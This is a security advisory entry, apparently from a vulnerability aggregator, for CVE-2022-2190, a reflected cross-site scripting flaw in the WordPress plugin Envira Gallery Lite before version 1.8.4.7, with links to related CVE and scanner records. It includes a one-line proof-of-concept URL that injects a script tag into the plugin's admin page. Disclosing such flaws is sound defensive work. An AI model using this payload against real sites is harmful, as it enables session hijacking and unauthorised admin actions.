Lucene search
ZhongFu Su(JrXnm) of WuHan University WPEX-ID:1AF4BEB6-BA16-429B-ACF2-43F9594F5ACEHistoryOct 10, 2022 - 12:00 a.m.
Envira Gallery Lite < 1.8.4.7 - Reflected Cross-Site Scripting
2022-10-1000:00:00
ZhongFu Su(JrXnm) of WuHan University
68
envira gallery
cross-site scripting
security exploit
0.001 Low
EPSS
Percentile
40.3%
The plugin does not escape the $_SERVER[‘REQUEST_URI’] parameter before outputting it back in an attribute, which could lead to Reflected Cross-Site Scripting in old web browsers
https://example.com/wp-admin/edit.php?post_type=envira&page=envira-gallery-lite-addons&"><script>alert(1)</script>Related
cve
cve
CVE-2022-2190
2022-10-31 16:15:10
patchstack
patchstack
openvas
openvas
WordPress Envira Photo Gallery Lite Plugin < 1.8.4.7 XSS Vulnerability
2022-11-01 00:00:00
prion
prion
Cross site scripting
2022-10-31 16:15:00
cvelist
cvelist
CVE-2022-2190 Envira Gallery Lite < 1.8.4.7 - Reflected Cross-Site Scripting
2022-10-31 00:00:00
nvd
nvd
CVE-2022-2190
2022-10-31 16:15:10
wpvulndb
wpvulndb
Envira Gallery Lite < 1.8.4.7 - Reflected Cross-Site Scripting
2022-10-10 00:00:00